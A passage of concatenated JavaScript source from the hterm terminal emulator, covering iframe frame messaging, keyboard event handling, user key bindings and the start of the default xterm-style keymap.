// TODO(raymes): Optimize for the above case if necessary.
this.nextReadTimer_ = setTimeout(this.onClearFinished_.bind(this), hterm.AccessibilityReader.DELAY / 2);
};/**
* Fired when sufficient time has passed to clear the aria-label attribute.
*/hterm.AccessibilityReader.prototype.onClearFinished_ = function () { this.nextReadTimer_ = null; this.addToLiveRegion_(); };// SOURCE FILE: hterm/js/hterm_frame.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('lib.f');/**
* First draft of the interface between the terminal and a third party dialog.
*
* This is rough.  It's just the terminal->dialog layer.  To complete things
* we'll also need a command->terminal layer.  That will have to facilitate
* command->terminal->dialog or direct command->dialog communication.
*
* I imagine this class will change significantly when that happens.
*//**
* Construct a new frame for the given terminal.
*
* @param terminal {hterm.Terminal} The parent terminal object.
* @param url {String} The url to load in the frame.
* @param opt_options {Object} Optional options for the frame.  Not implemented.
*/hterm.Frame = function (terminal, url, opt_options) { this.terminal_ = terminal; this.div_ = terminal.div_; this.url = url; this.options = opt_options || {}; this.iframe_ = null; this.container_ = null; this.messageChannel_ = null; };/**
* Handle messages from the iframe.
*/hterm.Frame.prototype.onMessage_ = function (e) {
switch (e.data.name) {
case 'ipc-init-ok':// We get this response after we send them ipc-init and they finish.
this.sendTerminalInfo_(); return; case 'terminal-info-ok':// We get this response after we send them terminal-info and they finish.
// Show the finished frame, and then rebind our message handler to the
// callback below.
this.container_.style.display = 'flex'; this.postMessage('visible'); this.messageChannel_.port1.onmessage = this.onMessage.bind(this); this.onLoad(); return; default: console.log('Unknown message from frame:', e.data); return;
}
};/**
* Clients could override this, I guess.
*
* It doesn't support multiple listeners, but I'm not sure that would make sense
* here.  It's probably better to speak directly to our parents.
*/hterm.Frame.prototype.onMessage = function () { };/**
* Handle iframe onLoad event.
*/hterm.Frame.prototype.onLoad_ = function () { this.messageChannel_ = new MessageChannel(); this.messageChannel_.port1.onmessage = this.onMessage_.bind(this); this.messageChannel_.port1.start(); this.iframe_.contentWindow.postMessage({ name: 'ipc-init', argv: [{ messagePort: this.messageChannel_.port2 }] }, this.url, [this.messageChannel_.port2]); };/**
* Clients may override this.
*/hterm.Frame.prototype.onLoad = function () { };/**
* Sends the terminal-info message to the iframe.
*/hterm.Frame.prototype.sendTerminalInfo_ = function () { lib.f.getAcceptLanguages(function (languages) { this.postMessage('terminal-info', [{ acceptLanguages: languages, foregroundColor: this.terminal_.getForegroundColor(), backgroundColor: this.terminal_.getBackgroundColor(), cursorColor: this.terminal_.getCursorColor(), fontSize: this.terminal_.getFontSize(), fontFamily: this.terminal_.getFontFamily(), baseURL: lib.f.getURL('/') }]); }.bind(this)); };/**
* User clicked the close button on the frame decoration.
*/hterm.Frame.prototype.onCloseClicked_ = function () { this.close(); };/**
* Close this frame.
*/hterm.Frame.prototype.close = function () { if (!this.container_ || !this.container_.parentNode) return; this.container_.parentNode.removeChild(this.container_); this.onClose(); };/**
* Clients may override this.
*/hterm.Frame.prototype.onClose = function () { };/**
* Send a message to the iframe.
*/hterm.Frame.prototype.postMessage = function (name, argv) { if (!this.messageChannel_) throw new Error('Message channel is not set up.'); this.messageChannel_.port1.postMessage({ name: name, argv: argv }); };/**
* Show the UI for this frame.
*
* The iframe src is not loaded until this method is called.
*/hterm.Frame.prototype.show = function () {
var self = this; function opt(name, defaultValue) { if (name in self.options) return self.options[name]; return defaultValue; } var self = this; if (this.container_ && this.container_.parentNode) { console.error('Frame already visible'); return; } var headerHeight = '16px'; var divSize = hterm.getClientSize(this.div_); var width = opt('width', 640); var height = opt('height', 480); var left = (divSize.width - width) / 2; var top = (divSize.height - height) / 2; var document = this.terminal_.document_; var container = this.container_ = document.createElement('div'); container.style.cssText = 'position: absolute;' + 'display: none;' + 'flex-direction: column;' + 'top: 10%;' + 'left: 4%;' + 'width: 90%;' + 'height: 80%;' + 'min-height: 20%;' + 'max-height: 80%;' + 'box-shadow: 0 0 2px ' + this.terminal_.getForegroundColor() + ';' + 'border: 2px ' + this.terminal_.getForegroundColor() + ' solid;'; if (false) {// No use for the close button, so no use for the window header either.
var header = document.createElement('div'); header.style.cssText = 'display: flex;' + 'justify-content: flex-end;' + 'height: ' + headerHeight + ';' + 'background-color: ' + this.terminal_.getForegroundColor() + ';' + 'color: ' + this.terminal_.getBackgroundColor() + ';' + 'font-size: 16px;' + 'font-family: ' + this.terminal_.getFontFamily(); container.appendChild(header); var button = document.createElement('div'); button.setAttribute('role', 'button'); button.style.cssText = 'margin-top: -3px;' + 'margin-right: 3px;' + 'cursor: pointer;'; button.textContent = '\u2A2F'; button.addEventListener('click', this.onCloseClicked_.bind(this)); header.appendChild(button);
} var iframe = this.iframe_ = document.createElement('iframe'); iframe.onload = this.onLoad_.bind(this); iframe.style.cssText = 'display: flex;' + 'flex: 1;' + 'width: 100%'; iframe.setAttribute('src', this.url); iframe.setAttribute('seamless', true); container.appendChild(iframe); this.div_.appendChild(container);
};// SOURCE FILE: hterm/js/hterm_keyboard.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('hterm.Keyboard.KeyMap');/**
* Keyboard handler.
*
* Consumes onKey* events and invokes onVTKeystroke on the associated
* hterm.Terminal object.
*
* See also: [XTERM] as referenced in vt.js.
*
* @param {hterm.Terminal} The Terminal object associated with this keyboard.
*/hterm.Keyboard = function (terminal) {// The parent vt interpreter.
this.terminal = terminal;// The element we're currently capturing keyboard events for.
this.keyboardElement_ = null;// The event handlers we are interested in, and their bound callbacks, saved
// so they can be uninstalled with removeEventListener, when required.
this.handlers_ = [['focusout', this.onFocusOut_.bind(this)], ['keydown', this.onKeyDown_.bind(this)], ['keypress', this.onKeyPress_.bind(this)], ['keyup', this.onKeyUp_.bind(this)], ['textInput', this.onTextInput_.bind(this)]];/**
* The current key map.
*/this.keyMap = new hterm.Keyboard.KeyMap(this); this.bindings = new hterm.Keyboard.Bindings(this);/**
* none: Disable any AltGr related munging.
* ctrl-alt: Assume Ctrl+Alt means AltGr.
* left-alt: Assume left Alt means AltGr.
* right-alt: Assume right Alt means AltGr.
*/this.altGrMode = 'none';/**
* If true, Shift-Insert will fall through to the browser as a paste.
* If false, the keystroke will be sent to the host.
*/this.shiftInsertPaste = true;/**
* If true, home/end will control the terminal scrollbar and shift home/end
* will send the VT keycodes.  If false then home/end sends VT codes and
* shift home/end scrolls.
*/this.homeKeysScroll = false;/**
* Same as above, except for page up/page down.
*/this.pageKeysScroll = false;/**
* If true, Ctrl-Plus/Minus/Zero controls zoom.
* If false, Ctrl-Shift-Plus/Minus/Zero controls zoom, Ctrl-Minus sends ^_,
* Ctrl-Plus/Zero do nothing.
*/this.ctrlPlusMinusZeroZoom = true;/**
* Ctrl+C copies if true, sends ^C to host if false.
* Ctrl+Shift+C sends ^C to host if true, copies if false.
*/this.ctrlCCopy = false;/**
* Ctrl+V pastes if true, sends ^V to host if false.
* Ctrl+Shift+V sends ^V to host if true, pastes if false.
*/this.ctrlVPaste = false;/**
* Enable/disable application keypad.
*
* This changes the way numeric keys are sent from the keyboard.
*/this.applicationKeypad = false;/**
* Enable/disable the application cursor mode.
*
* This changes the way cursor keys are sent from the keyboard.
*/this.applicationCursor = false;/**
* If true, the backspace should send BS ('\x08', aka ^H).  Otherwise
* the backspace key should send '\x7f'.
*/this.backspaceSendsBackspace = false;/**
* The encoding method for data sent to the host.
*/this.characterEncoding = 'utf-8';/**
* Set whether the meta key sends a leading escape or not.
*/this.metaSendsEscape = true;/**
* Set whether meta-V gets passed to host.
*/this.passMetaV = true;/**
* Controls how the alt key is handled.
*
*  escape....... Send an ESC prefix.
*  8-bit........ Add 128 to the unshifted character as in xterm.
*  browser-key.. Wait for the keypress event and see what the browser says.
*                (This won't work well on platforms where the browser
*                 performs a default action for some alt sequences.)
*
* This setting only matters when alt is distinct from meta (altIsMeta is
* false.)
*/this.altSendsWhat = 'escape';/**
* Set whether the alt key acts as a meta key, instead of producing 8-bit
* characters.
*
* True to enable, false to disable, null to autodetect based on platform.
*/this.altIsMeta = false;/**
* If true, tries to detect DEL key events that are from alt-backspace on
* Chrome OS vs from a true DEL key press.
*
* Background: At the time of writing, on Chrome OS, alt-backspace is mapped
* to DEL. Some users may be happy with this, but others may be frustrated
* that it's impossible to do meta-backspace. If the user enables this pref,
* we use a trick to tell a true DEL keypress from alt-backspace: on
* alt-backspace, we will see the alt key go down, then get a DEL keystroke
* that indicates that alt is not pressed. See https://crbug.com/174410 .
*/this.altBackspaceIsMetaBackspace = false;/**
* Used to keep track of the current alt-key state, which is necessary for
* the altBackspaceIsMetaBackspace preference above and for the altGrMode
* preference.  This is a bitmap with where bit positions correspond to the
* "location" property of the key event.
*/this.altKeyPressed = 0;/**
* If true, Chrome OS media keys will be mapped to their F-key equivalent.
* E.g. "Back" will be mapped to F1. If false, Chrome will handle the keys.
*/this.mediaKeysAreFKeys = false;/**
* Holds the previous setting of altSendsWhat when DECSET 1039 is used. When
* DECRST 1039 is used, altSendsWhat is changed back to this and this is
* nulled out.
*/this.previousAltSendsWhat_ = null;
};/**
* Special handling for keyCodes in a keyboard layout.
*/hterm.Keyboard.KeyActions = {/**
* Call preventDefault and stopPropagation for this key event and nothing
* else.
*/CANCEL: lib.f.createEnum('CANCEL'),/**
* This performs the default terminal action for the key.  If used in the
* 'normal' action and the the keystroke represents a printable key, the
* character will be sent to the host.  If used in one of the modifier
* actions, the terminal will perform the normal action after (possibly)
* altering it.
*
*  - If the normal sequence starts with CSI, the sequence will be adjusted
*    to include the modifier parameter as described in [XTERM] in the final
*    table of the "PC-Style Function Keys" section.
*
*  - If the control key is down and the key represents a printable character,
*    and the uppercase version of the unshifted keycap is between
*    64 (ASCII '@') and 95 (ASCII '_'), then the uppercase version of the
*    unshifted keycap minus 64 is sent.  This makes '^@' send '\x00' and
*    '^_' send '\x1f'.  (Note that one higher that 0x1f is 0x20, which is
*    the first printable ASCII value.)
*
*  - If the alt key is down and the key represents a printable character then
*    the value of the character is shifted up by 128.
*
*  - If meta is down and configured to send an escape, '\x1b' will be sent
*    before the normal action is performed.
*/DEFAULT: lib.f.createEnum('DEFAULT'),/**
* Causes the terminal to opt out of handling the key event, instead letting
* the browser deal with it.
*/PASS: lib.f.createEnum('PASS'),/**
* Insert the first or second character of the keyCap, based on e.shiftKey.
* The key will be handled in onKeyDown, and e.preventDefault() will be
* called.
*
* It is useful for a modified key action, where it essentially strips the
* modifier while preventing the browser from reacting to the key.
*/STRIP: lib.f.createEnum('STRIP')
};/**
* Encode a string according to the 'send-encoding' preference.
*/hterm.Keyboard.prototype.encode = function (str) { if (this.characterEncoding == 'utf-8') return this.terminal.vt.encodeUTF8(str); return str; };/**
* Capture keyboard events sent to the associated element.
*
* This enables the keyboard.  Captured events are consumed by this class
* and will not perform their default action or bubble to other elements.
*
* Passing a null element will uninstall the keyboard handlers.
*
* @param {HTMLElement} element The element whose events should be captured, or
*     null to disable the keyboard.
*/hterm.Keyboard.prototype.installKeyboard = function (element) { if (element == this.keyboardElement_) return; if (element && this.keyboardElement_) this.installKeyboard(null); for (var i = 0; i < this.handlers_.length; i++) { var handler = this.handlers_[i]; if (element) { element.addEventListener(handler[0], handler[1]); } else { this.keyboardElement_.removeEventListener(handler[0], handler[1]); } } this.keyboardElement_ = element; };/**
* Disable keyboard event capture.
*
* This will allow the browser to process key events normally.
*/hterm.Keyboard.prototype.uninstallKeyboard = function () { this.installKeyboard(null); };/**
* Handle onTextInput events.
*
* These are generated when using IMEs, Virtual Keyboards (VKs), compose keys,
* Unicode input, etc...
*/hterm.Keyboard.prototype.onTextInput_ = function (e) {
if (!e.data) return;// Just pass the generated buffer straight down.  No need for us to split it
// up or otherwise parse it ahead of times.
this.terminal.onVTKeystroke(e.data);
};/**
* Handle onKeyPress events.
*/hterm.Keyboard.prototype.onKeyPress_ = function (e) {
var code; var key = String.fromCharCode(e.which); var lowerKey = key.toLowerCase(); if ((e.ctrlKey || e.metaKey) && (lowerKey == 'c' || lowerKey == 'v')) {// On FF the key press (not key down) event gets fired for copy/paste.
// Let it fall through for the default browser behavior.
return;
} if (e.altKey && this.altSendsWhat == 'browser-key' && e.charCode == 0) {// If we got here because we were expecting the browser to handle an
// alt sequence but it didn't do it, then we might be on an OS without
// an enabled IME system.  In that case we fall back to xterm-like
// behavior.
//
// This happens here only as a fallback.  Typically these platforms should
// set altSendsWhat to either 'escape' or '8-bit'.
var ch = String.fromCharCode(e.keyCode); if (!e.shiftKey) ch = ch.toLowerCase(); code = ch.charCodeAt(0) + 128;
} else if (e.charCode >= 32) { ch = e.charCode; } if (ch) this.terminal.onVTKeystroke(String.fromCharCode(ch)); e.preventDefault(); e.stopPropagation();
};/**
* Prevent default handling for non-ctrl-shifted event.
*
* When combined with Chrome permission 'app.window.fullscreen.overrideEsc',
* and called for both key down and key up events,
* the ESC key remains usable within fullscreen Chrome app windows.
*/hterm.Keyboard.prototype.preventChromeAppNonCtrlShiftDefault_ = function (e) { if (!window.chrome || !window.chrome.app || !window.chrome.app.window) return; if (!e.ctrlKey || !e.shiftKey) e.preventDefault(); }; hterm.Keyboard.prototype.onFocusOut_ = function (e) { this.altKeyPressed = 0; }; hterm.Keyboard.prototype.onKeyUp_ = function (e) { if (e.keyCode == 18) this.altKeyPressed = this.altKeyPressed & ~(1 << e.location - 1); if (e.keyCode == 27) this.preventChromeAppNonCtrlShiftDefault_(e); };/**
* Handle onKeyDown events.
*/hterm.Keyboard.prototype.onKeyDown_ = function (e) {
if (e.keyCode == 18) this.altKeyPressed = this.altKeyPressed | 1 << e.location - 1; if (e.keyCode == 27) this.preventChromeAppNonCtrlShiftDefault_(e); var keyDef = this.keyMap.keyDefs[e.keyCode]; if (!keyDef) {// If this key hasn't been explicitly registered, fall back to the unknown
// key mapping (keyCode == 0), and then automatically register it to avoid
// any further warnings here.
console.warn('No definition for key ' + e.key + ' (keyCode ' + e.keyCode + ')'); keyDef = this.keyMap.keyDefs[0]; this.keyMap.addKeyDef(e.keyCode, keyDef);
}// The type of action we're going to use.
var resolvedActionType = null; var self = this; function getAction(name) {// Get the key action for the given action name.  If the action is a
// function, dispatch it.  If the action defers to the normal action,
// resolve that instead.
resolvedActionType = name; var action = keyDef[name]; if (typeof action == 'function') action = action.apply(self.keyMap, [e, keyDef]); if (action === DEFAULT && name != 'normal') action = getAction('normal'); return action;
}// Note that we use the triple-equals ('===') operator to test equality for
// these constants, in order to distinguish usage of the constant from usage
// of a literal string that happens to contain the same bytes.
var CANCEL = hterm.Keyboard.KeyActions.CANCEL; var DEFAULT = hterm.Keyboard.KeyActions.DEFAULT; var PASS = hterm.Keyboard.KeyActions.PASS; var STRIP = hterm.Keyboard.KeyActions.STRIP; var control = e.ctrlKey; var alt = this.altIsMeta ? false : e.altKey; var meta = this.altIsMeta ? e.altKey || e.metaKey : e.metaKey;// In the key-map, we surround the keyCap for non-printables in "[...]"
var isPrintable = !/^\[\w+\]$/.test(keyDef.keyCap); switch (this.altGrMode) {
case 'ctrl-alt': if (isPrintable && control && alt) {// ctrl-alt-printable means altGr.  We clear out the control and
// alt modifiers and wait to see the charCode in the keydown event.
control = false; alt = false;
} break; case 'right-alt': if (isPrintable && this.terminal.keyboard.altKeyPressed & 2) { control = false; alt = false; } break; case 'left-alt': if (isPrintable && this.terminal.keyboard.altKeyPressed & 1) { control = false; alt = false; } break;
}var action; if (control) { action = getAction('control'); } else if (alt) { action = getAction('alt'); } else if (meta) { action = getAction('meta'); } else { action = getAction('normal'); }// If e.maskShiftKey was set (during getAction) it means the shift key is
// already accounted for in the action, and we should not act on it any
// further. This is currently only used for Ctrl-Shift-Tab, which should send
// "CSI Z", not "CSI 1 ; 2 Z".
var shift = !e.maskShiftKey && e.shiftKey; var keyDown = {
keyCode: e.keyCode, shift: e.shiftKey,// not `var shift` from above.
ctrl: control, alt: alt, meta: meta
}; var binding = this.bindings.getBinding(keyDown); if (binding) {// Clear out the modifier bits so we don't try to munge the sequence
// further.
shift = control = alt = meta = false; resolvedActionType = 'normal'; action = binding.action; if (typeof action == 'function') action = action.call(this, this.terminal, keyDown);
} if (alt && this.altSendsWhat == 'browser-key' && action == DEFAULT) {// When altSendsWhat is 'browser-key', we wait for the keypress event.
// In keypress, the browser should have set the event.charCode to the
// appropriate character.
// TODO(rginda): Character compositions will need some black magic.
action = PASS;
} if (action === PASS || action === DEFAULT && !(control || alt || meta)) {// If this key is supposed to be handled by the browser, or it is an
// unmodified key with the default action, then exit this event handler.
// If it's an unmodified key, it'll be handled in onKeyPress where we
// can tell for sure which ASCII code to insert.
//
// This block needs to come before the STRIP test, otherwise we'll strip
// the modifier and think it's ok to let the browser handle the keypress.
// The browser won't know we're trying to ignore the modifiers and might
// perform some default action.
return;
} if (action === STRIP) { alt = control = false; action = keyDef.normal; if (typeof action == 'function') action = action.apply(this.keyMap, [e, keyDef]); if (action == DEFAULT && keyDef.keyCap.length == 2) action = keyDef.keyCap.substr(shift ? 1 : 0, 1); } e.preventDefault(); e.stopPropagation(); if (action === CANCEL) return; if (action !== DEFAULT && typeof action != 'string') { console.warn('Invalid action: ' + JSON.stringify(action)); return; }// Strip the modifier that is associated with the action, since we assume that
// modifier has already been accounted for in the action.
if (resolvedActionType == 'control') { control = false; } else if (resolvedActionType == 'alt') { alt = false; } else if (resolvedActionType == 'meta') { meta = false; } if (action.substr(0, 2) == '\x1b[' && (alt || control || shift || meta)) {// The action is an escape sequence that and it was triggered in the
// presence of a keyboard modifier, we may need to alter the action to
// include the modifier before sending it.
// The math is funky but aligns w/xterm.
var imod = 1; if (shift) imod += 1; if (alt) imod += 2; if (control) imod += 4; if (meta) imod += 8; var mod = ';' + imod; if (action.length == 3) {// Some of the CSI sequences have zero parameters unless modified.
action = '\x1b[1' + mod + action.substr(2, 1);
} else {// Others always have at least one parameter.
action = action.substr(0, action.length - 1) + mod + action.substr(action.length - 1);
}
} else {
if (action === DEFAULT) { action = keyDef.keyCap.substr(shift ? 1 : 0, 1); if (control) { var unshifted = keyDef.keyCap.substr(0, 1); var code = unshifted.charCodeAt(0); if (code >= 64 && code <= 95) { action = String.fromCharCode(code - 64); } } } if (alt && this.altSendsWhat == '8-bit' && action.length == 1) { var code = action.charCodeAt(0) + 128; action = String.fromCharCode(code); }// We respect alt/metaSendsEscape even if the keymap action was a literal
// string.  Otherwise, every overridden alt/meta action would have to
// check alt/metaSendsEscape.
if (alt && this.altSendsWhat == 'escape' || meta && this.metaSendsEscape) { action = '\x1b' + action; }
} this.terminal.onVTKeystroke(action);
};// SOURCE FILE: hterm/js/hterm_keyboard_bindings.js
// Copyright (c) 2015 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict';/**
* A mapping from hterm.Keyboard.KeyPattern to an action.
*
* TODO(rginda): For now this bindings code is only used for user overrides.
* hterm.Keyboard.KeyMap still handles all of the built-in key mappings.
* It'd be nice if we migrated that over to be hterm.Keyboard.Bindings based.
*/hterm.Keyboard.Bindings = function () { this.bindings_ = {}; };/**
* Remove all bindings.
*/hterm.Keyboard.Bindings.prototype.clear = function () { this.bindings_ = {}; };/**
* Add a new binding.
*
* Internal API that assumes parsed objects as inputs.
* See the public addBinding for more details.
*
* @param {hterm.Keyboard.KeyPattern} keyPattern
* @param {string|function|hterm.Keyboard.KeyAction} action
*/hterm.Keyboard.Bindings.prototype.addBinding_ = function (keyPattern, action) { var binding = null; var list = this.bindings_[keyPattern.keyCode]; if (list) { for (var i = 0; i < list.length; i++) { if (list[i].keyPattern.matchKeyPattern(keyPattern)) { binding = list[i]; break; } } } if (binding) { binding.action = action; } else { binding = { keyPattern: keyPattern, action: action }; if (!list) { this.bindings_[keyPattern.keyCode] = [binding]; } else { this.bindings_[keyPattern.keyCode].push(binding); list.sort(function (a, b) { return hterm.Keyboard.KeyPattern.sortCompare(a.keyPattern, b.keyPattern); }); } } };/**
* Add a new binding.
*
* If a binding for the keyPattern already exists it will be overridden.
*
* More specific keyPatterns take precedence over those with wildcards.  Given
* bindings for "Ctrl-A" and "Ctrl-*-A", and a "Ctrl-A" keydown, the "Ctrl-A"
* binding will match even if "Ctrl-*-A" was created last.
*
* If action is a string, it will be passed through hterm.Parser.parseKeyAction.
*
* For example:
*   // Will replace Ctrl-P keystrokes with the string "hiya!".
*   addBinding('Ctrl-P', "'hiya!'");
*   // Will cancel the keystroke entirely (make it do nothing).
*   addBinding('Alt-D', hterm.Keyboard.KeyActions.CANCEL);
*   // Will execute the code and return the action.
*   addBinding('Ctrl-T', function() {
*     console.log('Got a T!');
*     return hterm.Keyboard.KeyActions.PASS;
*   });
*
* @param {string|hterm.Keyboard.KeyPattern} keyPattern
* @param {string|function|hterm.Keyboard.KeyAction} action
*/hterm.Keyboard.Bindings.prototype.addBinding = function (key, action) {// If we're given a hterm.Keyboard.KeyPattern object, pass it down.
if (typeof key != 'string') { this.addBinding_(key, action); return; }// Here we treat key as a string.
var p = new hterm.Parser(); p.reset(key); var sequence; try { sequence = p.parseKeySequence(); } catch (ex) { console.error(ex); return; } if (!p.isComplete()) { console.error(p.error('Expected end of sequence: ' + sequence)); return; }// If action is a string, parse it.  Otherwise assume it's callable.
if (typeof action == 'string') { p.reset(action); try { action = p.parseKeyAction(); } catch (ex) { console.error(ex); return; } } if (!p.isComplete()) { console.error(p.error('Expected end of sequence: ' + sequence)); return; } this.addBinding_(new hterm.Keyboard.KeyPattern(sequence), action);
};/**
* Add multiple bindings at a time using a map of {string: string, ...}
*
* This uses hterm.Parser to parse the maps key into KeyPatterns, and the
* map values into {string|function|KeyAction}.
*
* For example:
*  {
*    // Will replace Ctrl-P keystrokes with the string "hiya!".
*    'Ctrl-P': "'hiya!'",
*    // Will cancel the keystroke entirely (make it do nothing).
*    'Alt-D': hterm.Keyboard.KeyActions.CANCEL,
*  }
*
* @param {Object} map
*/hterm.Keyboard.Bindings.prototype.addBindings = function (map) { for (var key in map) { this.addBinding(key, map[key]); } };/**
* Return the binding that is the best match for the given keyDown record,
* or null if there is no match.
*
* @param {Object} keyDown An object with a keyCode property and zero or
*   more boolean properties representing key modifiers.  These property names
*   must match those defined in hterm.Keyboard.KeyPattern.modifiers.
*/hterm.Keyboard.Bindings.prototype.getBinding = function (keyDown) { var list = this.bindings_[keyDown.keyCode]; if (!list) return null; for (var i = 0; i < list.length; i++) { var binding = list[i]; if (binding.keyPattern.matchKeyDown(keyDown)) return binding; } return null; };// SOURCE FILE: hterm/js/hterm_keyboard_keymap.js
// Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
'use strict'; lib.rtdep('hterm.Keyboard.KeyActions');/**
* The default key map for hterm.
*
* Contains a mapping of keyCodes to keyDefs (aka key definitions).  The key
* definition tells the hterm.Keyboard class how to handle keycodes.
*
* This should work for most cases, as the printable characters get handled
* in the keypress event.  In that case, even if the keycap is wrong in the
* key map, the correct character should be sent.
*
* Different layouts, such as Dvorak should work with this keymap, as those
* layouts typically move keycodes around on the keyboard without disturbing
* the actual keycaps.
*
* There may be issues with control keys on non-US keyboards or with keyboards
* that very significantly from the expectations here, in which case we may
* have to invent new key maps.
*
* The sequences defined in this key map come from [XTERM] as referenced in
* vt.js, starting with the section titled "Alt and Meta Keys".
*/hterm.Keyboard.KeyMap = function (keyboard) { this.keyboard = keyboard; this.keyDefs = {}; this.reset(); };/**
* Add a single key definition.
*
* The definition is an object containing the following fields: 'keyCap',
* 'normal', 'control', 'alt', and 'meta'.
*
*  - keyCap is a string identifying the key on the keyboard.  For printable
*    keys, the key cap should be exactly two characters, starting with the
*    unshifted version.  For example, 'aA', 'bB', '1!' and '=+'.  For
*    non-printable the key cap should be surrounded in square braces, as in
*    '[INS]', '[LEFT]'.  By convention, non-printable keycaps are in uppercase
*    but this is not a strict requirement.
*
*  - Normal is the action that should be performed when the key is pressed
*    in the absence of any modifier.  See below for the supported actions.
*
*  - Control is the action that should be performed when the key is pressed
*    along with the control modifier.  See below for the supported actions.
*
*  - Alt is the action that should be performed when the key is pressed
*    along with the alt modifier.  See below for the supported actions.
*
*  - Meta is the action that should be performed when the key is pressed
*    along with the meta modifier.  See below for the supported actions.
*
* Actions can be one of the hterm.Keyboard.KeyActions as documented below,
* a literal string, or an array.  If the action is a literal string then
* the string is sent directly to the host.  If the action is an array it
* is taken to be an escape sequence that may be altered by modifier keys.
* The second-to-last element of the array will be overwritten with the
* state of the modifier keys, as specified in the final table of "PC-Style
* Function Keys" from [XTERM].
*/hterm.Keyboard.KeyMap.prototype.addKeyDef = function (keyCode, def) { if (keyCode in this.keyDefs) console.warn('Duplicate keyCode: ' + keyCode); this.keyDefs[keyCode] = def; };/**
* Add multiple key definitions in a single call.
*
* This function takes the key definitions as variable argument list.  Each
* argument is the key definition specified as an array.
*
* (If the function took everything as one big hash we couldn't detect
* duplicates, and there would be a lot more typing involved.)
*
* Each key definition should have 6 elements: (keyCode, keyCap, normal action,
* control action, alt action and meta action).  See KeyMap.addKeyDef for the
* meaning of these elements.
*/hterm.Keyboard.KeyMap.prototype.addKeyDefs = function (var_args) { for (var i = 0; i < arguments.length; i++) { this.addKeyDef(arguments[i][0], { keyCap: arguments[i][1], normal: arguments[i][2], control: arguments[i][3], alt: arguments[i][4], meta: arguments[i][5] }); } };/**
* Set up the default state for this keymap.
*/hterm.Keyboard.KeyMap.prototype.reset = function () {
this.keyDefs = {}; var self = this;// This function is used by the "macro" functions below.  It makes it
// possible to use the call() macro as an argument to any other macro.
function resolve(action, e, k) { if (typeof action == 'function') return action.apply(self, [e, k]); return action; }// If not application keypad a, else b.  The keys that care about
// application keypad ignore it when the key is modified.
function ak(a, b) { return function (e, k) { var action = e.shiftKey || e.ctrlKey || e.altKey || e.metaKey || !self.keyboard.applicationKeypad ? a : b; return resolve(action, e, k); }; }// If mod or not application cursor a, else b.  The keys that care about
// application cursor ignore it when the key is modified.
function ac(a, b) { return function (e, k) { var action = e.shiftKey || e.ctrlKey || e.altKey || e.metaKey || !self.keyboard.applicationCursor ? a : b; return resolve(action, e, k); }; }// If not backspace-sends-backspace keypad a, else b.
function bs(a, b) { return function (e, k) { var action = !self.keyboard.backspaceSendsBackspace ? a : b; return resolve(action, e, k); }; }// If not e.shiftKey a, else b.
function sh(a, b) { return function (e, k) { var action = !e.shiftKey ? a : b; e.maskShiftKey = true; return resolve(action, e, k); }; }// If not e.altKey a, else b.
function alt(a, b) { return function (e, k) { var action = !e.altKey ? a : b; return resolve(action, e, k); }; }// If no modifiers a, else b.
function mod(a, b) { return function (e, k) { var action = !(e.shiftKey || e.ctrlKey || e.altKey || e.metaKey) ? a : b; return resolve(action, e, k); }; }// Compute a control character for a given character.
function ctl(ch) { return String.fromCharCode(ch.charCodeAt(0) - 64); }// Call a method on the keymap instance.
function c(m) { return function (e, k) { return this[m](e, k); }; }// Ignore if not trapping media keys.
function med(fn) {
return function (e, k) {
if (!self.keyboard.mediaKeysAreFKeys) {// Block Back, Forward, and Reload keys to avoid navigating away from
// the current page.
return e.keyCode == 166 || e.keyCode == 167 || e.keyCode == 168 ? hterm.Keyboard.KeyActions.CANCEL : hterm.Keyboard.KeyActions.PASS;
} return resolve(fn, e, k);
};
}// Browser-specific differences.
if (window.navigator && navigator.userAgent) {
if (navigator.userAgent.indexOf('Firefox') != -1) {// Firefox defines some keys uniquely.  No other browser defines these is
// this way.  Some even conflict.  The keyCode field isn't well documented
// as it isn't standardized.  At some point we should switch to "key".
// https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/keyCode
// http://unixpapa.com/js/key.html
var keycapMute = 181;// Mute
var keycapVolDn = 182;// Volume Down
var keycapVolUp = 183;// Volume Up
var keycapSC = 59;// ;:
var keycapEP = 61;// =+
var keycapMU = 173;// -_
this.addKeyDefs(// Firefox Italian +*.
[171, '+*', DEFAULT, c('onPlusMinusZero_'), DEFAULT, c('onPlusMinusZero_')]);
} else {// All other browsers use these mappings.
var keycapMute = 173;// Mute
var keycapVolDn = 174;// Volume Down
var keycapVolUp = 175;// Volume Up
var keycapSC = 186;// ;:
var keycapEP = 187;// =+
var keycapMU = 189;// -_
}
} var ESC = '\x1b'; var CSI = '\x1b['; var SS3 = '\x1bO'; var CANCEL = hterm.Keyboard.KeyActions.CANCEL; var DEFAULT = hterm.Keyboard.KeyActions.DEFAULT; var PASS = hterm.Keyboard.KeyActions.PASS; var STRIP = hterm.Keyboard.KeyActions.STRIP; this.addKeyDefs(// These fields are: [keycode, keycap, normal, control, alt, meta]
// The browser sends the keycode 0 for some keys.  We'll just assume it's
// going to do the right thing by default for those keys.
[0, '[UNKNOWN]', PASS, PASS, PASS, PASS],// First row.
// These bindings match xterm for lack of a better standard.  The emitted
// values might look like they're skipping values, but it's what xterm does.
// https://invisible-island.net/xterm/ctlseqs/ctlseqs.html#h2-PC-Style-Function-Keys
